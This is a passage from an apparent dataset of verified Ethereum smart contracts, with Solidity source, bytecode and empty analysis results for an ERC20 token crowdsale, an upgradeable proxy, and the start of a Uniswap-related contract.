function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
library SafeERC20 {
function safeTransfer(
ERC20 _token,
address _to,
uint256 _value
)
internal
{
require(_token.transfer(_to, _value));
}
function safeTransferFrom(
ERC20 _token,
address _from,
address _to,
uint256 _value
)
internal
{
require(_token.transferFrom(_from, _to, _value));
}
function safeApprove(
ERC20 _token,
address _spender,
uint256 _value
)
internal
{
require(_token.approve(_spender, _value));
}
}
contract SBToken is StandardToken {
string public constant name = "Small Biz Token";
string public constant symbol = "SBTT";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 100000000000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overridden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropriate to concatenate
* behavior.
*/
contract Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
// The token being sold
ERC20 public token;
// Address where funds are collected
address public wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a DetailedERC20 token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 public rate;
// Amount of wei raised
uint256 public weiRaised;
bool public isFunding;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
isFunding = true;
}
function () external payable {
buyTokens(msg.sender);
}
//Change the rate
// update the ETH/COIN rate
function updateRate(uint256 Newrate) external {
require(msg.sender==wallet);
require(isFunding);
rate = Newrate;
}
function closeSale() external {
require(msg.sender==wallet);
isFunding= false;
}
//Close the Sale
function buyTokens(address _beneficiary) public payable {
//New
require(isFunding==true);
//New
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
// calculate token amount to be created
uint256 tokens = _getTokenAmount(weiAmount);
// update state
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
// optional override
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
/**
* @dev Determines how ETH is stored/forwarded on purchases.
*/
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
// solium-disable-next-line security/no-block-members
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
// solium-disable-next-line security/no-block-members
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
/**
* @dev Checks whether the period in which the crowdsale is open has already elapsed.
* @return Whether crowdsale period has elapsed
*/
function hasClosed() public view returns (bool) {
// solium-disable-next-line security/no-block-members
return block.timestamp > closingTime;
}
/**
* @dev Extend parent behavior requiring to be within contributing period
* @param _beneficiary Token purchaser
* @param _weiAmount Amount of wei contributed
*/
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract AllowanceCrowdsale is Crowdsale {
using SafeMath for uint256;
using SafeERC20 for ERC20;
address public tokenWallet;
constructor(address _tokenWallet) public {
require(_tokenWallet != address(0));
tokenWallet = _tokenWallet;
}
function remainingTokens() public view returns (uint256) {
return token.allowance(tokenWallet, this);
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.safeTransferFrom(tokenWallet, _beneficiary, _tokenAmount);
}
}
contract IncreasingPriceCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
uint256 public initialRate;
uint256 public finalRate;
constructor(uint256 _initialRate, uint256 _finalRate) public {
require(_initialRate >= _finalRate);
require(_finalRate > 0);
initialRate = _initialRate;
finalRate = _finalRate;
}
function getCurrentRate() public view returns (uint256) {
// solium-disable-next-line security/no-block-members
uint256 elapsedTime = block.timestamp.sub(openingTime);
uint256 timeRange = closingTime.sub(openingTime);
uint256 rateRange = initialRate.sub(finalRate);
return initialRate.sub(elapsedTime.mul(rateRange).div(timeRange));
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 currentRate = getCurrentRate();
return currentRate.mul(_weiAmount);
}
}
contract SBTCrowdsale is AllowanceCrowdsale, IncreasingPriceCrowdsale {
event CrowdsaleCreated(address owner, uint256 openingTime, uint256 closingTime, uint256 rate);
constructor(
uint256 _openingTime,
uint256 _closingTime,
uint256 _rate,
uint256 _ratePublic,
address _wallet,
StandardToken _token,
address _tokenHolderWallet
)
public
Crowdsale(_rate, _wallet, _token)
AllowanceCrowdsale(_tokenHolderWallet)
TimedCrowdsale(_openingTime, _closingTime)
IncreasingPriceCrowdsale(_rate, _ratePublic)
{
emit CrowdsaleCreated(
msg.sender,
_openingTime,
_closingTime,
_rate);
}
function getCurrentRate() public view returns (uint256) {
// solium-disable-next-line security/no-block-members
uint256 elapsedTime = block.timestamp.sub(openingTime);
uint256 timeRange = closingTime.sub(openingTime);
if (elapsedTime < timeRange.div(2)) {
return initialRate;
} else {
return finalRate;
}
}
} | 0x6080604052600436106100ba576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100bf578063095ea7b31461014f57806318160ddd146101b457806323b872dd146101df5780632ff2e9dc14610264578063313ce5671461028f57806366188463146102c057806370a082311461032557806395d89b411461037c578063a9059cbb1461040c578063d73dd62314610471578063dd62ed3e146104d6575b600080fd5b3480156100cb57600080fd5b506100d461054d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101145780820151818401526020810190506100f9565b50505050905090810190601f1680156101415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015b57600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610586565b604051808215151515815260200191505060405180910390f35b3480156101c057600080fd5b506101c9610678565b6040518082815260200191505060405180910390f35b3480156101eb57600080fd5b5061024a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610682565b604051808215151515815260200191505060405180910390f35b34801561027057600080fd5b50610279610a3d565b6040518082815260200191505060405180910390f35b34801561029b57600080fd5b506102a4610a50565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102cc57600080fd5b5061030b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a55565b604051808215151515815260200191505060405180910390f35b34801561033157600080fd5b50610366600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ce7565b6040518082815260200191505060405180910390f35b34801561038857600080fd5b50610391610d2f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103d15780820151818401526020810190506103b6565b50505050905090810190601f1680156103fe5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561041857600080fd5b50610457600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d68565b604051808215151515815260200191505060405180910390f35b34801561047d57600080fd5b506104bc600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f88565b604051808215151515815260200191505060405180910390f35b3480156104e257600080fd5b50610537600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611184565b6040518082815260200191505060405180910390f35b6040805190810160405280600f81526020017f536d616c6c2042697a20546f6b656e000000000000000000000000000000000081525081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600254905090565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106d157600080fd5b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561075c57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561079857600080fd5b6107e9826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120b90919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061087c826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061094d82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120b90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b601260ff16600a0a655af3107a40000281565b601281565b600080600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508083101515610b67576000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610bfb565b610b7a838261120b90919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6040805190810160405280600481526020017f534254540000000000000000000000000000000000000000000000000000000081525081565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610db757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610df357600080fd5b610e44826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461120b90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610ed7826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122990919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061101982600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122990919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008083831115151561121a57fe5b82840390508091505092915050565b600080828401905083811015151561123d57fe5b80915050929150505600a165627a7a72305820882e69404d8ca433e5a861b0ecff9d4ce6230b092b343fc8b7516773fd6b9dbd0029 | {"success": true, "error": null, "results": {}} | 315 |
0x809990849d53a5109e0cb9c446137793b9f6f1eb | /**
*Submitted for verification at Etherscan.io on 2021-09-20
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
} | 0x60806040526004361061004e5760003560e01c80633659cfe6146100655780634f1ef286146100985780635c60da1b146101185780638f28397014610149578063f851a4401461017c5761005d565b3661005d5761005b610191565b005b61005b610191565b34801561007157600080fd5b5061005b6004803603602081101561008857600080fd5b50356001600160a01b03166101ab565b61005b600480360360408110156100ae57600080fd5b6001600160a01b0382351691908101906040810160208201356401000000008111156100d957600080fd5b8201836020820111156100eb57600080fd5b8035906020019184600183028401116401000000008311171561010d57600080fd5b5090925090506101e5565b34801561012457600080fd5b5061012d610292565b604080516001600160a01b039092168252519081900360200190f35b34801561015557600080fd5b5061005b6004803603602081101561016c57600080fd5b50356001600160a01b03166102cf565b34801561018857600080fd5b5061012d610389565b6101996103ba565b6101a96101a461041a565b61043f565b565b6101b3610463565b6001600160a01b0316336001600160a01b031614156101da576101d581610488565b6101e2565b6101e2610191565b50565b6101ed610463565b6001600160a01b0316336001600160a01b031614156102855761020f83610488565b6000836001600160a01b031683836040518083838082843760405192019450600093509091505080830381855af49150503d806000811461026c576040519150601f19603f3d011682016040523d82523d6000602084013e610271565b606091505b505090508061027f57600080fd5b5061028d565b61028d610191565b505050565b600061029c610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd61041a565b90506102cc565b6102cc610191565b90565b6102d7610463565b6001600160a01b0316336001600160a01b031614156101da576001600160a01b0381166103355760405162461bcd60e51b81526004018080602001828103825260368152602001806105876036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61035e610463565b604080516001600160a01b03928316815291841660208301528051918290030190a16101d5816104c8565b6000610393610463565b6001600160a01b0316336001600160a01b031614156102c4576102bd610463565b3b151590565b6103c2610463565b6001600160a01b0316336001600160a01b031614156104125760405162461bcd60e51b81526004018080602001828103825260328152602001806105556032913960400191505060405180910390fd5b6101a96101a9565b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5490565b3660008037600080366000845af43d6000803e80801561045e573d6000f35b3d6000fd5b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035490565b610491816104ec565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b90600090a250565b7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610355565b6104f5816103b4565b6105305760405162461bcd60e51b815260040180806020018281038252603b8152602001806105bd603b913960400191505060405180910390fd5b7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc5556fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a26469706673582212206bd3cd7a2662e49e7cb1dd5a9f33dd50d9e0a40632a0750771175d46917891c264736f6c634300060c0033 | {"success": true, "error": null, "results": {}} | 316 |
0xfa311750a0e1d2b8b979678ec1a04f56ac8db866 | // SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) { return 0; }
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library TransferHelper {
function safeApprove(address token, address to, uint256 value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED');
}
function safeTransfer(address token, address to, uint256 value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED');
}
function safeTransferFrom(address token, address from, address to, uint256 value) internal {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper: ETH_TRANSFER_FAILED');
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
